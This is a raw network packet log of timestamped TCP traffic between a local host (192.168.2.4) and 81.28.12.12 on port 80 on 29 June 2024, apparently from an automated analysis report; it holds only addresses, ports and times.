Jun 29, 2024 08:05:14.951608896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.951612949 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.951637030 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.951637983 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.951668024 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.952567101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.952580929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.952603102 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.952619076 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.952634096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.952649117 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.952649117 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.952649117 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.952692032 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.952692032 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.952701092 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.952717066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.952732086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.952754021 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.952754021 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.952774048 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.952794075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.952807903 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.952824116 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.952856064 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.952856064 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.952856064 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.952872992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.952902079 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.952917099 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.952959061 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.952970028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.952986002 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.953007936 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.953037977 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.953051090 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.953056097 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.953077078 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.953098059 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.953116894 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.953130007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.953144073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.953159094 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.953172922 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.953222036 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.953222036 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.953233957 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.953248978 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.953279018 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.953295946 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.953310966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.953325987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.953355074 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.953385115 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.953466892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.953483105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.953496933 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.953511953 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.953526974 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.953532934 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.953541994 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.953552961 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.953572035 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.953588009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.953591108 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.953600883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.953632116 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.953656912 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.953677893 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.953691959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.953706980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.953721046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.953748941 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.953784943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:14.953794956 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:14.953824997 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.026269913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.026298046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.026310921 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.026330948 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.026364088 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.026381969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.026396990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.026412010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.026454926 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.026454926 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.026489019 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.026503086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.026527882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.026549101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.026549101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.026549101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.026576042 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.026590109 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.026650906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.026674032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.026688099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.026701927 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.026705980 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.026716948 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.026726961 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.026757002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.026757002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.028356075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.028379917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.028393984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.028413057 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.028445005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.028445005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.028476954 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.028497934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.028512955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.028528929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.028543949 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.028552055 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.028564930 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.028599024 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.029391050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.029424906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.029438019 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.029448986 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.029469013 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.029489040 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.029504061 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.029519081 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.029534101 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.029555082 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.029556036 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.029587030 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.029628038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.029643059 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.029671907 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.029701948 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.039764881 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.039779902 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.039797068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.039830923 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.039858103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.039864063 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.039872885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.039889097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.039905071 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.039927006 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.039932013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.039947033 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.039947033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.039993048 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.039999008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.040014982 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.040043116 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.040077925 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.040174961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.040189981 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.040204048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.040219069 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.040221930 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.040232897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.040247917 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.040247917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.040247917 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.040263891 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.040266991 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.040291071 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.040291071 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.040309906 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.040399075 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.040422916 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.040436029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.040446997 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.040452003 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.040467978 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.040472031 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.040472031 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.040493011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.040508032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.040513992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.040513992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.040539026 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.040559053 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.040586948 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.040635109 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.040671110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.040690899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.040721893 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.040745974 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.040812969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.040827990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.040843010 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.040858030 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.040859938 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.040885925 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.040885925 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.040916920 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.040947914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.040962934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.040977001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.040991068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.041004896 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.041008949 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.041008949 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.041021109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.041033030 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.041035891 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.041069031 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.041088104 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.041203976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.041218996 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.041234016 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.041248083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.041251898 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.041264057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.041276932 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.041276932 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.041277885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.041294098 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.041295052 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.041318893 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.041320086 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.041344881 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.041431904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.041446924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.041461945 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.041493893 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.041522980 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.042100906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.042143106 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.042155027 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.042157888 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.042186975 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.042216063 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.042227983 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.042237997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.042247057 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.042279005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.042320967 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.042337894 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.042347908 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.042357922 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.042385101 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.042417049 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.042423964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.042433977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.042443037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.042473078 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.042503119 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.042594910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.042604923 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.042614937 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.042623997 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.042649984 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.042678118 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.042740107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.042751074 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.042758942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.042773008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.042783976 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.042789936 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.042823076 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.042824984 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.042824984 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.042845011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.042881012 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.042881012 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.042921066 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.042931080 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.042943001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.042973995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.043006897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.043041945 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.043051958 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.043061018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.043071032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.043092012 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.043121099 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.043154001 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.043164015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.043174028 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.043205023 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.043236017 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.043380022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.043390036 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.043400049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.043409109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.043417931 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.043431997 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.043462992 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.164331913 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.164343119 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.164351940 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.164395094 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.164437056 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.164446115 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.164455891 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.164464951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.164474964 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.164541006 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.164541006 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.164639950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.164650917 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.164659977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.164669991 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.164680004 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.164690971 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.164695978 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.164700031 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.164726973 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.164944887 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.164944887 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.167381048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.167433977 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.167455912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.167464018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.167474031 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.167504072 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.167532921 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.167598009 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.167608023 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.167613029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.167622089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.167651892 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.167682886 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.168730021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.168768883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.168777943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.168788910 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.168829918 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.168829918 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.168836117 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.168847084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.168858051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.168868065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.168879032 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.168917894 CEST	49731	80	192.168.2.4	81.28.12.12
